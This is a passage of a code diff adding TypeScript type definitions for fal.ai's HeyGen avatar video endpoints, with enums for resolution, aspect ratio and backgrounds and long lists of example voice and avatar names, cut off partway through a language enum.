+/** + * @description Request model for digital twin video generation using Avatar 4 (Engine IV). + * @type object + */ +export type InputFalAiHeygenAvatar4DigitalTwin = { + /** + * @description Aspect ratio of the output video. Supported values: '16:9', '9:16', '4:5', '5:4', '1:1', and 'auto'. 'auto' preserves the source aspect ratio when HeyGen can read it, falling back to '16:9' otherwise. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHeygenAvatar4DigitalTwinAspectRatioEnumKey + /** + * @description Voice configuration for the character + * @type object + */ + voice: TextVoice + /** + * @description URL of an audio file for the avatar to lip-sync to. When provided, the avatar uses this audio instead of text-to-speech. + */ + audio_url?: string | null + /** + * @description Video resolution preset. Options: 360p, 480p, 540p, 720p, 1080p + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHeygenAvatar4DigitalTwinResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Character configuration for the video + * @type object + */ + character: Character +} + +export type File9374E732 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenAvatar4DigitalTwin = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a8f61f5/SwAbhEQ0tNLthNkyTqCRn_translated.mp4"} + * @type object + */ + video: File9374E732 +} + +export const avatarIVBackgroundTypeEnum = { + color: 'color', + image: 'image', + video: 'video', +} as const + +export type AvatarIVBackgroundTypeEnumKey = + (typeof avatarIVBackgroundTypeEnum)[keyof typeof avatarIVBackgroundTypeEnum] + +export type AvatarIVBackground = { + /** + * @description Type of background + * @default 'color' + * @type string | undefined + */ + type?: AvatarIVBackgroundTypeEnumKey + /** + * @description Background value - hex color for 'color' type, URL for 'image' or 'video' type + * @default '#FFFFFF' + * @type string | undefined + */ + value?: string +} + +export const inputFalAiHeygenAvatar4ImageToVideoTalkingStyleEnum = { + stable: 'stable', + expressive: 'expressive', +} as const + +export type InputFalAiHeygenAvatar4ImageToVideoTalkingStyleEnumKey = + (typeof inputFalAiHeygenAvatar4ImageToVideoTalkingStyleEnum)[keyof typeof inputFalAiHeygenAvatar4ImageToVideoTalkingStyleEnum] + +export const inputFalAiHeygenAvatar4ImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:5': '4:5', + '5:4': '5:4', + '1:1': '1:1', + auto: 'auto', +} as const + +export type InputFalAiHeygenAvatar4ImageToVideoAspectRatioEnumKey = + (typeof inputFalAiHeygenAvatar4ImageToVideoAspectRatioEnum)[keyof typeof inputFalAiHeygenAvatar4ImageToVideoAspectRatioEnum] + +export const inputFalAiHeygenAvatar4ImageToVideoResolutionEnum = { + '360p': '360p', + '480p': '480p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiHeygenAvatar4ImageToVideoResolutionEnumKey = + (typeof inputFalAiHeygenAvatar4ImageToVideoResolutionEnum)[keyof typeof inputFalAiHeygenAvatar4ImageToVideoResolutionEnum] + +export type InputFalAiHeygenAvatar4ImageToVideo = { + /** + * @description Facial expression + */ + expression?: 'happy' | null + /** + * @description The text the avatar will speak + * @example Hey friends! Welcome to the GPU force podcast and today we are going to discuss about the rising GPU cost! + */ + prompt?: string | null + /** + * @description URL of the image to animate. The image should contain a clear face. + * @example https://v3b.fal.media/files/b/0a90062c/A7EIviZqNxZ2HAs0yHeZ6_77a05b99-8588-4ffc-90aa-be7f9d34e9d3.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Talking style - 'stable' for minimal movement, 'expressive' for more animation + * @default 'stable' + * @type string | undefined + */ + talking_style?: InputFalAiHeygenAvatar4ImageToVideoTalkingStyleEnumKey + /** + * @description Aspect ratio of the output video. Supported values: '16:9', '9:16', '4:5', '5:4', '1:1', and 'auto'. 'auto' preserves the source aspect ratio when HeyGen can read it, falling back to '16:9' otherwise. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHeygenAvatar4ImageToVideoAspectRatioEnumKey + /** + * @description Name of the voice to use for the avatar + * @example Melissa + */ + voice?: string | null + /** + * @description URL of an audio file for the avatar to lip-sync to. When provided, overrides prompt and voice. + */ + audio_url?: string | null + /** + * @description Background configuration + * @type object | undefined + */ + background?: AvatarIVBackground + /** + * @description Video resolution preset. Options: 360p, 480p, 540p, 720p, 1080p + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHeygenAvatar4ImageToVideoResolutionEnumKey + /** + * @description Whether to add captions to the video + * @default false + * @type boolean | undefined + */ + caption?: boolean +} + +export type File3024Cfac = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenAvatar4ImageToVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a900636/DUES0_z4i7FWnife02ieH_output.mp4","content_type":"video/mp4","file_size":2466524,"file_name":"output.mp4"} + * @type object + */ + video: File3024Cfac +} + +export const avatarVWatermarkPlacement = { + 'top-left': 'top-left', + 'top-right': 'top-right', + 'bottom-left': 'bottom-left', + 'bottom-right': 'bottom-right', +} as const + +export type AvatarVWatermarkPlacementKey = + (typeof avatarVWatermarkPlacement)[keyof typeof avatarVWatermarkPlacement] + +/** + * @description Watermark configuration for Avatar V videos. + * @type object + */ +export type AvatarVWatermark = { + /** + * @description Watermark scale relative to the video (0.0 exclusive–2.0). + */ + scale?: number | null + /** + * @description Where to place the watermark on the video. + */ + placement?: AvatarVWatermarkPlacementKey | null + /** + * @description HTTP(S) URL of the watermark image to overlay on the video. + * @type string + */ + image_url: string + /** + * @description Watermark opacity (0.0 = transparent, 1.0 = opaque). + */ + opacity?: number | null +} + +export const avatarVBackgroundTypeEnum = { + color: 'color', + image: 'image', +} as const + +export type AvatarVBackgroundTypeEnumKey = + (typeof avatarVBackgroundTypeEnum)[keyof typeof avatarVBackgroundTypeEnum] + +/** + * @description Background configuration for Avatar V videos. + * + * Either a solid color (``type="color"``) or an image URL + * (``type="image"``). Background is ignored when + * ``output_format="webm"`` because webm output forces a transparent + * (background-removed) result. + * @type object + */ +export type AvatarVBackground = { + /** + * @description Type of background. 'color' for a solid hex color, 'image' for an image URL. + * @default 'color' + * @type string | undefined + */ + type?: AvatarVBackgroundTypeEnumKey + /** + * @description Background value — hex color for 'color' type, or HTTP(S) URL for 'image' type. + * @default '#FFFFFF' + * @example #FFFFFF + * @example https://example.com/background.jpg + * @type string | undefined + */ + value?: string +} + +export const inputFalAiHeygenAvatar5DigitalTwinFitEnum = { + contain: 'contain', + cover: 'cover', +} as const + +export type InputFalAiHeygenAvatar5DigitalTwinFitEnumKey = + (typeof inputFalAiHeygenAvatar5DigitalTwinFitEnum)[keyof typeof inputFalAiHeygenAvatar5DigitalTwinFitEnum] + +export const inputFalAiHeygenAvatar5DigitalTwinAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:5': '4:5', + '5:4': '5:4', + '1:1': '1:1', + auto: 'auto', +} as const + +export type InputFalAiHeygenAvatar5DigitalTwinAspectRatioEnumKey = + (typeof inputFalAiHeygenAvatar5DigitalTwinAspectRatioEnum)[keyof typeof inputFalAiHeygenAvatar5DigitalTwinAspectRatioEnum] + +export const inputFalAiHeygenAvatar5DigitalTwinResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputFalAiHeygenAvatar5DigitalTwinResolutionEnumKey = + (typeof inputFalAiHeygenAvatar5DigitalTwinResolutionEnum)[keyof typeof inputFalAiHeygenAvatar5DigitalTwinResolutionEnum] + +export const inputFalAiHeygenAvatar5DigitalTwinOutputFormatEnum = { + mp4: 'mp4', + webm: 'webm', +} as const + +export type InputFalAiHeygenAvatar5DigitalTwinOutputFormatEnumKey = + (typeof inputFalAiHeygenAvatar5DigitalTwinOutputFormatEnum)[keyof typeof inputFalAiHeygenAvatar5DigitalTwinOutputFormatEnum] + +/** + * @description Request for HeyGen Avatar V digital-twin video generation. + * + * Pass either ``avatar`` (a name from the ``/v2/avatars`` catalog) or + * ``avatar_id`` (a raw HeyGen avatar ID); the avatar must be Avatar + * V-eligible (HeyGen returns 400 otherwise). + * @type object + */ +export type InputFalAiHeygenAvatar5DigitalTwin = { + /** + * @description Text the avatar will speak. Required when ``audio_url`` is not provided. + * @example Hello and welcome to this demonstration of HeyGen Avatar V. + */ + prompt?: string | null + /** + * @description Optional watermark image to overlay on the output video. + */ + watermark?: AvatarVWatermark | null + /** + * @description How the avatar fits within the output frame. 'contain' keeps the full avatar in view (may letterbox); 'cover' fills the frame (may crop). + * @default 'cover' + * @type string | undefined + */ + fit?: InputFalAiHeygenAvatar5DigitalTwinFitEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Remove the avatar's background. Requires a matting-enabled avatar. + * @default false + * @type boolean | undefined + */ + remove_background?: boolean + /** + * @description Optional background to composite behind the avatar. Ignored when ``output_format='webm'`` (webm output is transparent). + */ + background?: AvatarVBackground | null + /** + * @description Aspect ratio of the output video. Supported values: '16:9', '9:16', '4:5', '5:4', '1:1', and 'auto'. 'auto' preserves the source aspect ratio when HeyGen can read it, falling back to '16:9' otherwise. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHeygenAvatar5DigitalTwinAspectRatioEnumKey + /** + * @description Name of the text-to-speech voice to use for the avatar when ``audio_url`` is not provided. + * @default Warm Pro Narrator + * @example Warm Pro Narrator + * @example Chill Brian + * @example Ivy + * @example John Doe + * @example Monika Sogam + * @example Hope + * @example Archer + * @example Brittney + * @example Patrick + * @example David Castlemore + * @example Michael C + * @example Adam Stone + * @example Juniper + * @example Cassidy + * @example Jessica Anne Bogart + * @example Arabella + * @example Andrew + * @example Spuds Oxley + * @example Grace Elder + * @example Helen + * @example Canyon Rivers + * @example Derya - Lifelike - Excited 🤩 + * @example Mellow Marcus + * @example Jack Sterling - Broadcaster 🎙️ + * @example Brenda - UGC - 1.mp4 + * @example Reid + * @example Reagan + * @example Terry + * @example Jenny + * @example Radio Rick + * @example Denise + * @example Tim in car - Excited 🤩 + * @example Iskander + * @example Thompson + * @example Delicate Daisy - Excited 🤩 + * @example Kingston + * @example George UGC 1 + * @example Bold Blake + * @example Jane + * @example Expressive Evan + * @example Marianne - IA + * @example Aaron + * @example Modern Recipe Host - Voice 1 + * @example Willow + * @example Cute Chloe - Friendly 😊 + * @example Rafael + * @example June - Lifelike + * @example Crisp Chloe + * @example Slick Simon + * @example Nassim - Informative + * @example Baritone Ben + * @example Maxwell + * @example Ellie Faye - Excited 🤩 + * @example Milani + * @example Feisty Fiona - Excited 🤩 + * @example Professor Dean + * @example Rose - UGC - 1.mp4 + * @example Shona + * @example Hudson Wilder + * @example Ann - IA + * @example Alastair Kensington + * @example Oxley + * @example Christina + * @example Andrew Rizz + * @example Peyton + * @example Gerardo - Outdoor + * @example Chloe - Lifelike + * @example Stephanie + * @example Anthony - IA + * @example Signal - Voice 1 + * @example Luca + * @example Lisa - Voice 1 + * @example T.W.Tucker + * @example Jack Sullivan - Serious 😐 + * @example Winter + * @example Mireia - Lifelike + * @example Georgia + * @example Stella + * @example Masha - Lifelike + * @example Charming Charles - Friendly 😊 + * @example Serenity + * @example Annie - Excited + * @example Ralph + * @example Bethany + * @example Dominic + * @example Mason Finn + * @example Leena + * @example Veteran Victor + * @example Tamara + * @example Nik Public + * @example Calm Chloe + * @example Sevik + * @example Reilly + * @example Raul + * @example Imposing Ian + * @example Relaxed Ray + * @example Dexter - Professional + * @example Relaxed Rick + * @example Edwin + * @example Rupert Blackwood + * @example Ginny + * @example Hope + */ + voice?: string | null + /** + * @description HTTP(S) URL of an audio file for the avatar to lip-sync to. When provided, the avatar uses this audio instead of text-to-speech and ``prompt``/``voice`` are ignored. + */ + audio_url?: string | null + /** + * @description Name of the Avatar V-eligible avatar to use. + * @default Abigail Sofa Front + * @example Abigail Office Front + * @example Abigail Office Side + * @example Abigail Sofa Front + * @example Abigail Sofa Side + * @example Amelia Business Training Front 2 + * @example Amelia Business Training Front + * @example Amelia Business Training Side 2 + * @example Amelia Business Training Side + * @example Amelia Lounge Front 2 + * @example Amelia Lounge Front + * @example Amelia Lounge Side 2 + * @example Amelia Lounge Side + * @example Amelia Yoga Front 2 + * @example Amelia Yoga Front + * @example Amelia Yoga Side 2 + * @example Amelia Yoga Side + * @example Anja Office Front + * @example Anja Office Side + * @example Anja Sofa Front + * @example Anja Sofa Side + * @example Ann Doctor Sitting + * @example Ann Doctor Standing + * @example Ann Therapist + * @example Annie Bar Sitting Front + * @example Annie Bar Sitting Side + * @example Annie Bar Standing Front 2 + * @example Annie Bar Standing Front 3 + * @example Annie Bar Standing Front + * @example Annie Bar Standing Side 2 + * @example Annie Bar Standing Side 3 + * @example Annie Bar Standing Side + * @example Annie Business Casual Standing Front 2 + * @example Annie Business Casual Standing Front + * @example Annie Business Casual Standing Side 2 + * @example Annie Business Casual Standing Side + * @example Annie Casual Sitting Front 2 + * @example Annie Casual Sitting Front + * @example Annie Casual Sitting Side 2 + * @example Annie Casual Sitting Side + * @example Annie Casual Standing Front 2 + * @example Annie Casual Standing Front + * @example Annie Casual Standing Side 2 + * @example Annie Casual Standing Side + * @example Annie Desk Sitting Front 2 + * @example Annie Desk Sitting Front + * @example Annie Desk Sitting Side 2 + * @example Annie Desk Sitting Side + * @example Annie Lounge Standing Front + * @example Annie Lounge Standing Side + * @example Annie Office Sitting Front 2 + * @example Annie Office Sitting Front + * @example Annie Office Sitting Side 2 + * @example Annie Office Sitting Side + * @example Annie Office Standing Front + * @example Annie Office Standing Side + * @example Annie Sofa Sitting Front 3 + * @example Annie Sofa Sitting Front + * @example Annie Sofa Sitting Side 2 + * @example Annie Sofa Sitting Side 3 + * @example Annie Sofa Sitting Side + * @example Annie Sofa Sitting Front 2 + * @example Annie Studio Pink Sitting Front + * @example Annie Studio Pink Sitting Side + * @example Annie Studio Pink Standing Front + * @example Annie Studio Pink Standing Side + * @example Artur Office Front 2 + * @example Artur Office Front + * @example Artur Office Side 2 + * @example Artur Office Side + * @example Artur Sofa Casual Front 2 + * @example Artur Sofa Casual Front + * @example Artur Sofa Casual Side 2 + * @example Artur Sofa Causal Side + * @example Aubrey Sofa Side + * @example Aubrey Night Scene Front + * @example Aubrey Outdoor Sport Front + * @example Aubrey Outdoor Sport Side + * @example Aubrey Sofa Front + * @example Blanka Lounge Front + * @example Blanka Lounge Side + * @example Blanka Outdoor Business Front + * @example Blanka Outdoor Business Side + * @example Blanka Outdoor Reading Front + * @example Blanka Outdoor Reading Side + * @example Blanka Picnic Front + * @example Blanka Picnic Side + * @example Bojan Business Training Front 2 + * @example Bojan Business Training Front + * @example Bojan Business Training Side 2 + * @example Bojan Business Training Side + * @example Bojan Lounge Front 2 + * @example Bojan Lounge Front + * @example Bojan Lounge Side 2 + * @example Bojan Lounge Side + * @example Bojan Sport Front 2 + * @example Bojan Sport Front + * @example Bojan Sport Side 2 + * @example Bojan Sport Side + * @example Brandon Business Sitting Front + * @example Brandon Business Sitting Side + * @example Brandon Business Standing Front + * @example Brandon Business Standing Side + * @example Brandon Casual Sitting Front + * @example Brandon Casual Sitting Side + * @example Brandon Kitchen Standing Front + * @example Brandon Kitchen Standing Side + * @example Brandon Lobby Sitting Front + * @example Brandon Lobby Sitting Side + * @example Brandon Lobby Standing Front + * @example Brandon Lobby Standing Side + * @example Brandon Office Sitting Front + * @example Brandon Office Sitting Side + * @example Brandon Office Standing Front + * @example Brandon Office Standing Side + * @example Brandon Sofa Sitting Front + * @example Brandon Sofa Sitting Side + * @example Brent Office Front 2 + * @example Brent Office Front + * @example Brent Office Side 2 + * @example Brent Office Side + * @example Brent Sofa Front 2 + * @example Brent Sofa Front + * @example Brent Sofa Side 2 + * @example Brent Sofa Side + * @example Bryan Fitness Coach + * @example Bryan Tech Expert + * @example Caroline Business Sitting Front + * @example Caroline Business Sitting Side + * @example Caroline Business Standing Front + * @example Caroline Business Standing Side + * @example Caroline Casual Sitting Front + * @example Caroline Casual Sitting Side + * @example Caroline Kitchen Standing Front + * @example Caroline Kitchen Standing Side + * @example Caroline Lobby Sitting Front + * @example Caroline Lobby Sitting Side + * @example Caroline Lobby Standing Front + * @example Caroline Lobby Standing Side + * @example Caroline Office Sitting Front + * @example Caroline Office Sitting Side + * @example Caroline Office Standing Front + * @example Caroline Office Standing Side + * @example Caroline Sofa Sitting Front + * @example Caroline Sofa Sitting Side + * @example Chloe Lounge Front + * @example Chloe Lounge Side + * @example Chloe Outdoor Side + * @example Conrad House Front + * @example Conrad House Side + * @example Conrad Sofa Front + * @example Conrad Sofa Side + * @example Derya Indoor Front 2 + * @example Derya Indoor Front + * @example Derya Indoor Side 2 + * @example Derya Indoor Side + * @example Derya Office Front 2 + * @example Derya Office Front + * @example Derya Office Side 2 + * @example Derya Office Side + * @example Dexter Doctor Sitting + * @example Dexter Doctor Standing + * @example Dexter Lawyer + * @example Elenora Fitness Coach + * @example Elenora Fitness Coach 2 + * @example Elenora Tech Expert + * @example Emanuel Office Front + * @example Emanuel Office Side + * @example Emanuel Sofa Front + * @example Emanuel Sofa Side + * @example Emilia Outdoor Business Front + * @example Emilia Outdoor Business Side + * @example Emilia Outdoor Yoga Front 2 + * @example Emilia Outdoor Yoga Front + * @example Emilia Outdoor Yoga Side + * @example Emilia Picnic Front + * @example Emilia Picnic Side + * @example Fernando Business Indoor Front + * @example Fernando Business Indoor Side + * @example Fernando OutdoorChair Front 2 + * @example Fernando Outdoor Chair Front + * @example Fernando Outdoor Chair Side + * @example Fernando Outdoor Front + * @example Fernando Outdoor Side + * @example Fernando Outdoor Table Front + * @example Fernando Outdoor Table Side + * @example Gala Bedroom Front + * @example Gala Business Sofa Front 2 + * @example Gala Business Sofa Front 3 + * @example Gala Business Sofa Front + * @example Gala Business Sofa Side 2 + * @example Gala Business Sofa Side 3 + * @example Gala Business Sofa Side + * @example Gala Casual Sofa with iPad Front + * @example Gala Casual Sofa with iPad Side 2 + * @example Gala Casual Sofa with iPad Side + * @example Gala Office Front + * @example Gala Office Side + * @example Gala Sofa Front 2 + * @example Gala Sofa Front 3 + * @example Gala Sofa Front + * @example Gala Sofa Side 2 + * @example Gala Sofa Side 3 + * @example Gala Sofa Side + * @example Georgia Casual Front + * @example Georgia Casual Side + * @example Georgia Office Front + * @example Georgia Office Side + * @example Gerardo Sofa Side + * @example Gerardo Indoor Front + * @example Gerardo Indoor Side + * @example Gerardo Night Scene Front 2 + * @example Gerardo Night Scene Front + * @example Gerardo Outdoor Sport Front + * @example Gerardo Outdoor Sport Side + * @example Gerardo Sofa Front + * @example Giulia Office Front 2 + * @example Giulia Office Front + * @example Giulia Office Side 2 + * @example Giulia Office Side + * @example Giulia Sofa Front + * @example Giulia Sofa Side + * @example Giulia Sofa Front 2 + * @example Giulia Sofa Side 3 + * @example Ida Lounge Front 2 + * @example Ida Lounge Front + * @example Ida Lounge Side 2 + * @example Ida Lounge Side + * @example Ida Sofa Front 2 + * @example Ida Sofa Front + * @example Ida Sofa Side 2 + * @example Ida Sofa Side + * @example Jocelyn Office Front 2 + * @example Jocelyn Office Front + * @example Jocelyn Office Side 2 + * @example Jocelyn Office Side + * @example Jocelyn Sofa Front 2 + * @example Jocelyn Sofa Front + * @example Jocelyn Sofa Side 2 + * @example Jocelyn Sofa Side + * @example Joel Couch Front + * @example Joel Couch Side + * @example Joel Gym Front + * @example Joel Gym Side + * @example Joel Mountain Front + * @example Joel Mountain Side + * @example Jonas Gym Front 2 + * @example Jonas Gym Front + * @example Jonas Gym Side 2 + * @example Jonas Gym Side + * @example June Office Front 2 + * @example Juan Office Front + * @example Juan Office Side 2 + * @example Juan Office Side + * @example Juan Sofa Front 2 + * @example Juan Sofa Front + * @example Juan Sofa Side 2 + * @example Juan Sofa Side + * @example Judita Yoga Front 2 + * @example Judita Yoga Front + * @example Judita Yoga Side 2 + * @example Judita Yoga Side + * @example Judy Doctor Sitting + * @example Judy Doctor Standing + * @example Judy Lawyer + * @example Judy Teacher Sitting + * @example Judy HR + * @example Judy Teacher Standing + * @example June HR + * @example June Office Front + * @example June Office Side 2 + * @example June Office Side + * @example June Sofa Casual Front 2 + * @example June Sofa Casual Front + * @example June Sofa Casual Side 2 + * @example June Sofa Casual Side + * @example Kavya Indoor Front + * @example Kavya Indoor Side + * @example Kavya Outdoor Side + * @example Kavya Outdoor Sport Front + * @example Kavya Outdoor Sport Side + * @example Kavya Sofa Front + * @example Kavya Sofa Side + * @example Leos Office Front 2 + * @example Leos Office Front + * @example Leos Office Side 2 + * @example Leos Office Side + * @example Leos Sofa Front 2 + * @example Leos Sofa Front + * @example Leos Sofa Side 2 + * @example Leos Sofa Side + * @example Leszek Lounge Front + * @example Leszek Lounge Side + * @example Leszek Outdoor Business Front + * @example Leszek Outdoor Business Side + * @example Leszek Outdoor Casual Front + * @example Leszek Outdoor Casual Side + * @example Leszek Sofa Front + * @example Leszek Sofa Side + * @example Martina Office Front 2 + * @example Martina Office Front + * @example Martina Office Side 2 + * @example Martina Office Side + * @example Martina Sofa Front 2 + * @example Martina Sofa Front + * @example Martina Sofa Side 2 + * @example Martina Sofa Side + * @example Masha Office Front 2 + * @example Masha Office Front + * @example Masha Office Side 2 + * @example Masha Office Side + * @example Masha Sofa Casual Front 2 + * @example Masha Sofa Casual Front + * @example Masha Sofa Casual Side 2 + * @example Masha Sofa Casual Side + * @example Matteo Office Front 2 + * @example Matteo Office Front + * @example Matteo Office Side 2 + * @example Matteo Office Side + * @example Matteo Sofa Front 2 + * @example Matteo Sofa Front + * @example Matteo Sofa Side 2 + * @example Matteo Sofa Side + * @example Max Indoor Front + * @example Max Indoor Side + * @example Max Outdoor Sport Front + * @example Max Outdoor Sport Side + * @example Milena Office Front 2 + * @example Milena Office Front + * @example Milena Office Side 2 + * @example Milena Office Side + * @example Milena Sofa Front 2 + * @example Milena Sofa Front + * @example Milena Sofa Side 2 + * @example Milena Sofa Side + * @example Miles Outdoor Front + * @example Miles Outdoor Side + * @example Miles Sofa Front 2 + * @example Miles Sofa Front + * @example Miles Sofa Side 2 + * @example Miles Sofa Side + * @example Mireia Business Indoor Front + * @example Mireia Business Indoor Side + * @example Mireia Outdoor Chair Front + * @example Mireia Outdoor Front + * @example Mireia Outdoor Side + * @example Mireia Outdoor Table Front + * @example Mireia Outdoor Table Side + * @example Miyu Office Front 2 + * @example Miyu Office Front + * @example Miyu Office Side 2 + * @example Miyu Office Side + * @example Miyu Sofa Business Front + * @example Miyu Sofa Business Side + * @example Miyu Sofa Casual Front 2 + * @example Miyu Sofa Casual Front + * @example Miyu Sofa Casual Side 2 + * @example Miyu Sofa Casual Side + * @example Noah Lobby Front 2 + * @example Noah Lobby Front + * @example Noah Lobby Side 2 + * @example Noah Lobby Side + * @example Noah Office Front 2 + * @example Noah Office Front + * @example Noah Office Side 2 + * @example Noah Office Side + * @example Noah Sofa Front 2 + * @example Noah Sofa Front + * @example Noah Sofa Side 2 + * @example Noah Sofa Side + * @example Oxana Gym Front 2 + * @example Oxana Gym Front + * @example Oxana Gym Side 2 + * @example Oxana Gym Side + * @example Oxana Office Front 2 + * @example Oxana Office Front + * @example Oxana Office Side 2 + * @example Oxana Office Side + * @example Oxana Sofa Front 2 + * @example Oxana Sofa Front + * @example Oxana Sofa Side 2 + * @example Oxana Sofa Side + * @example Oxana Yoga Front 2 + * @example Oxana Yoga Front + * @example Oxana Yoga Side 2 + * @example Oxana Yoga Side + * @example Patrizio Business Training Front + * @example Patrizio Business Training Side + * @example Patrizio Office Front + * @example Patrizio Office Side 2 + * @example Patrizio Office Side + * @example Patrizio Sofa Front + * @example Patrizio Sofa Side + * @example Piper Business Sofa Front + * @example Piper Business Sofa Side + * @example Piper Education Front + * @example Piper Education Side + * @example Rasmus Lounge Front 2 + * @example Rasmus Lounge Front + * @example Rasmus Lounge Side 2 + * @example Rasmus Lounge Side + * @example Rasmus Sofa Front 2 + * @example Rasmus Sofa Front + * @example Rasmus Sofa Side 2 + * @example Rasmus Sofa Side + * @example Raul Business Sofa Front 2 + * @example Raul Business Sofa Front + * @example Raul Business Sofa Side 2 + * @example Raul Business Sofa Side + * @example Raul Casual Sofa Front 2 + * @example Raul Casual Sofa Front + * @example Raul Casual Sofa Side 2 + * @example Raul Casual Sofa Side + * @example Raul Casual Sofa no iPad Front + * @example Raul Casual Sofa no iPad Side + * @example Raul Casual Sofa with iPad Front + * @example Raul Casual Sofa with iPad Side + * @example Raul Office Front 2 + * @example Raul Office Front + * @example Raul Office Side + * @example Raul Sofa Front 2 + * @example Raul Sofa Front + * @example Raul Sofa Side 2 + * @example Raul Sofa Side + * @example Ren Office Front 2 + * @example Ren Office Front + * @example Ren Office Side 2 + * @example Ren Office Side + * @example Ren Sofa Business Front + * @example Ren Sofa Business Side + * @example Ren Sofa Casual Front 2 + * @example Ren Sofa Casual Front + * @example Ren Sofa Casual Side 2 + * @example Ren Sofa Casual Side + * @example Riley Casual Front + * @example Riley Casual Side + * @example Riley Office Front + * @example Riley Office Side + * @example Roman Outdoor Sport Front + * @example Roman Outdoor Sport Side + * @example Sabine Office Front 2 + * @example Sabine Office Front + * @example Sabine Office Side + * @example Sabine Sofa Side + * @example Santa Fireplace Front + * @example Santa Fireplace Side + * @example Scarlett Couch Front 2 + * @example Scarlett Couch Front + * @example Scarlett Couch Side 2 + * @example Scarlett Couch Side + * @example Scarlett Fireplace Front + * @example Scarlett Fireplace Side + * @example Scarlett Hall Front + * @example Scarlett Hall Side + * @example Scarlett Yoga Front + * @example Scarlett Yoga Side + * @example Shawn Therapist + * @example Silas Customer Support + * @example Silas HR + * @example Silas Lounge Front + * @example Silas Lounge Side + * @example Silas Sofa Side 2 + * @example Silas Sofa Side + * @example Teodor Office Front 2 + * @example Teodor Office Front + * @example Teodor Office Side 2 + * @example Teodor Office Side + * @example Teodor Sofa Front 2 + * @example Teodor Sofa Front + * @example Teodor Sofa Side 2 + * @example Teodor Sofa Side + * @example Timothy Casual Front + * @example Timothy Casual Side + * @example Timothy Office Front + * @example Timothy Office Side + * @example Veit Office Front + * @example Veit Office Side + * @example Veit Sofa Front + * @example Veit Sofa Side + * @example Vernon Office Front 2 + * @example Vernon Office Front + * @example Vernon Office Side 2 + * @example Vernon Office Side + * @example Verena Office Front + * @example Verena Office Side + * @example Verena Sofa Front + * @example Verena Sofa Side + * @example Vernon Lounge Front 2 + * @example Vernon Lounge Side 2 + * @example Vernon Lounge Side + * @example Vince Business Sofa Front + * @example Vince Business Training Front + * @example Vince Business Training Side 2 + * @example Vince Business Training Side + * @example Vince Sofa Casual Front 2 + * @example Vince Sofa Casual Front + * @example Vince Sofa Casual Side 2 + * @example Vince Sofa Casual Side + */ + avatar?: string | null + /** + * @description Output resolution preset. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHeygenAvatar5DigitalTwinResolutionEnumKey + /** + * @description Output container format. 'webm' produces a transparent video (automatically removes the background) and ignores the ``background`` field. + * @default 'mp4' + * @type string | undefined + */ + output_format?: InputFalAiHeygenAvatar5DigitalTwinOutputFormatEnumKey + /** + * @description Generate a sidecar SRT caption file alongside the video. + * @default false + * @type boolean | undefined + */ + caption?: boolean +} + +export type File0C0Cd283 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output from the Avatar V digital-twin endpoint. + * @type object + */ +export type OutputFalAiHeygenAvatar5DigitalTwin = { + /** + * @description The generated Avatar V video file. + * @example {"url":"https://v3b.fal.media/files/b/0a900636/DUES0_z4i7FWnife02ieH_output.mp4"} + * @type object + */ + video: File0C0Cd283 + /** + * @description Generated caption file (SRT) when ``caption=True`` and HeyGen returns one. + */ + caption_file?: File0C0Cd283 | null +} + +export const inputFalAiHeygenV2TranslatePrecisionOutputLanguageEnum = { + English: 'English', + Spanish: 'Spanish', + French: 'French', + Hindi: 'Hindi', + Italian: 'Italian', + German: 'German', + Polish: 'Polish', + Portuguese: 'Portuguese', + Chinese: 'Chinese', + Japanese: 'Japanese', + Dutch: 'Dutch', + Turkish: 'Turkish', + Korean: 'Korean', + Danish: 'Danish', + Arabic: 'Arabic', + Romanian: 'Romanian', + Mandarin: 'Mandarin', + Filipino: 'Filipino', + Swedish: 'Swedish', + Indonesian: 'Indonesian', + Ukrainian: 'Ukrainian', + Greek: 'Greek', + Czech: 'Czech', + Bulgarian: 'Bulgarian', + Malay: 'Malay', + Slovak: 'Slovak', + Croatian: 'Croatian', + Tamil: 'Tamil', + Finnish: 'Finnish', + Russian: 'Russian', + 'Afrikaans (South Africa)': 'Afrikaans (South Africa)', + 'Albanian (Albania)': 'Albanian (Albania)', + 'Amharic (Ethiopia)': 'Amharic (Ethiopia)', + 'Arabic (Algeria)': 'Arabic (Algeria)', + 'Arabic (Bahrain)': 'Arabic (Bahrain)', + 'Arabic 